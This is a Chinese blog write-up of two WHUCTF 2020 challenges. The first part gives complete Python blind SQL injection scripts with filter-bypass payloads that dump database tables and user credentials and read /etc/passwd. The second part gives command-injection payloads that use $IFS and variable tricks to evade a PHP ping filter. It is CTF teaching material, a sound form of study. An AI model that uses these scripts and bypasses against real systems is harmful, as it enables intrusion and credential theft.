前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[网络安全] 三十八.WHUCTF (1)SQL脚本盲注和命令执行绕过(easy_sqli、ezcmd)

[网络安全] 三十八.WHUCTF (1)SQL脚本盲注和命令执行绕过(easy_sqli、ezcmd)

作者头像
Eastmount
发布2021-12-02 20:15:46
1.3K1
发布2021-12-02 20:15:46
举报
文章被收录于专栏:Python和安全那些事

文章目录:

  • 一.Easy_sqli 1.题目描述 2.解题思路
  • 二.ezcmd 1.题目描 2.解题思路
  • 三.总结

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。网站目前可以访问,后续应该会关闭,初学者可以试试,但切勿破坏。


一.Easy_sqli

1.题目描述

考点: SQL注入

主界面显示如下图所示:

核心代码如下,采用POST提交请求。


2.解题思路

(1) 首先,该题仅一个登陆页面,首先想到的是万能密码登录,比如admin、‘or’=‘or’ 等。

当我们输入admin提示登录失败,并且反馈SQL语句。

代码语言:javascript
复制
Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'

当我们输入 ‘or’=’ 提示登录成功,但没有跳转下一个界面而直接返回登录界面,同时返回的SQL语句看到or被屏蔽了。此时,可能部分同学会疑惑明明登录成功,怎么没返回flag呢?这里并没有成功了。

代码语言:javascript
复制
Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''

同时,尝试用户名和密码拼接绕过也没成功。

代码语言:javascript
复制
'or'=' union SELECT 1,database()
'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()

这里推荐两篇常规的SQL注入文章:


(2) 作者遇到网站都喜欢扫描目录和端口,但这里也没有好的信息。同时,采用SQLMAP扫描也没有什么成功,如下图所示。

  • dirb http://218.197.154.9:10011/ /usr/share/dirb/wordlists/small.txt
  • sqlmap -u “http://218.197.154.9:10011/ img/?C=D;O=A” --dbs

(3) 当SQLMAP等工具不能使用时,需要通过手工找到注入点或进行注入,这里补充一种非常使用的方法,通过Python发送数据包来反弹数据库、表、字段和用户名及密码。

① 获取数据库名称

输出结果如下图所示,通过二分查找获取数据库database()第一位是e,最终获取数据库名称。核心代码如下:

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

对应的SQL语句为:

  • SELECT password FROM users WHERE username=‘aa’ or substr(database(),1,1)>64 –’ AND password=’’

简单修改代码,把中间输出的值注释掉,并输出的字符串拼接在一起,最终输出结果如下图所示,数据库为easy_sql1。

  • #print(sqliStr)
  • print(chr(m),end=’’)

② 获取系统密码信息

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

输出结果如下:

③ 获取数据库表名信息 注意这里是子查询,group_concat()函数将表名连接在一行,采用逗号分隔。

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。

④ 获取用户名和密码 本题主要是获取f1ag表中的字段和值,而真实的网站中通常需要获取用户表的信息。

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,这些用户名和密码均能登录,但登录成功后仍会返回界面。

⑤ 获取f1ag表字段

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,字段为f111114g。

⑥ 获取f1ag字段对应的值

代码语言:javascript
复制
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,并获取flag值。

题目+实战总结:

  • 本题考察SQL注入,传统的手工注入和SQLMAP有时会遇到拦截,我们可以尝试其他方法
  • 作者提供一种基于Python的自动化SQL注入方法,同时采用二分查找进行匹配及暴库,较为适用
  • 当我们拿到一个网站,首先需要尽可能地收集(端口、服务、目录),弱口令、万能密码测试,接下来想办法找漏洞点,不同系统版本会有不同的漏洞

完整代码:

代码语言:javascript
复制
import requests,urllib
import math
from urllib.parse import quote_plus

#代理配置
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#设置消息头
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#定义网址
url = 'http://218.197.154.9:10011/login.php'

"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

#系统密码
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

#获取表名
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users

#用户名和密码
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity

#获取f1ag字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g

#获取对应值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}

print(postStr)

#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        #print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='')
    cb += 1

最后补充武大CTF师傅的WP代码,推荐大家学习。

  • 武汉大学CTF - PeiQi师傅
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅
代码语言:javascript
复制
import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
    for i in string.printable: 
        # payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  easy_sql1
        # payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  f1ag_y0u_wi1l_n3ver
        # payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
        data = {
            "user" : payload,
            "pass" : 1
        }
        content = res.post(url,data=data)
        result = content.text
        # print(result)
        #
        if 'success' in result:
            flag += i
            print(flag)
            break

二.ezcmd

1.题目描述

考点: CMD命令绕过

主界面显示如下图所示:

题目代码如下:

代码语言:javascript
复制
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);
?>

2.解题思路

看到这类题目,首先想到的是命令执行方法利用管道符或者分号,然后再层层绕过。该题目有三处限制:不能有空格、不能有flag字样,不能有cat等命令。

(1) 利用ip本地地址和ls命令查看目录下文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|ls

结果:我们看到了flag.php和index.php文件。

(2) 接着利用cat命令读取flag.php内容。

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat%20flag.php

结果:提示我们不能使用空格。

同时以下读取指令被ban。

  • /tac|rm|echo|cat|nl|less|more|tail|head

需要想办法进行绕过。当提示空格被ban,我们可以利用下面的方法进行绕过。

  • $IFS
  • ${IFS}
  • IFS1 // 1 改成 加其他数字貌似都行
  • <
  • <>
  • {cat,flag.php} //用逗号实现了空格功能
  • %20
  • %09

(3) 绕过空格利用cat读取flag文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|catIFS1flag.php

注意:如果cat被禁用,我们需要使用tac反向输出命令,linux命令中可以加\,甚至可以ca\t /fl\ag。

结果:此时提示no flag。

(4) PHP源代码中发现一个变量a,想办法覆盖这个变量,下面代码相当于cat flag.php。

代码语言:javascript
复制
 http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

此时输出结果如下:

  • PING 127.0.0.1 (127.0.0.1): 56 data bytes

最终在注释部分看到flag值。

题目+实战总结:

  • 这类题型的命令执行方法是利用管道符或者分号层层绕过
  • 接着利用$IFS1绕过空格限制
  • 最后使用$a变量绕过黑名单,成功执行cat flag.php命令
代码语言:javascript
复制
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

同时给出另两位师傅的绕过payload。

代码语言:javascript
复制
#方法1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php

#方法2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)

推荐及参考文章:

  • [GXYCTF2019]Ping Ping Ping - wangtanzhi师傅
  • 武汉大学CTF - PeiQi师傅
  • 2020_WHUCTF_Writeup - Ly-sec-l师傅

三.总结

希望这篇文章对你有所帮助,这是CTF基础题目,2020年5月第一次参加CTF比赛写的。这半年来,原创博客越来越少,希望自己能在博士路上不断前行,多读论文,多写论文,多学新知识。加油~也祝所有在读博士都学有所成,勿忘来时的路,砥砺前行。晚安娜~

  • 一.SQL脚本盲注
  • 二.命令执行绕过
  • 三.总结

CTF初学者个人建议:

  • 多做CTF题目,多参加CTF比赛,多交流经验
  • CTF题目推荐BUUCTF,比赛每个月都有很多,大赛小赛,比如XCTF、KCTF、WCTF等
  • 每个优秀的CTF选手都有自己的工具库、脚本库、词典库
  • 多向优秀的安全团队学习,关注他们的公众号,甚至加好友,组队比赛
  • CTF比赛对找工作有帮助,但后续建议和漏洞挖掘实际工作结合起来
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 娜璋AI安全之家 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.Easy_sqli
    • 1.题目描述
      • 2.解题思路
      • 二.ezcmd
        • 1.题目描述
          • 2.解题思路
          • 三.总结
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档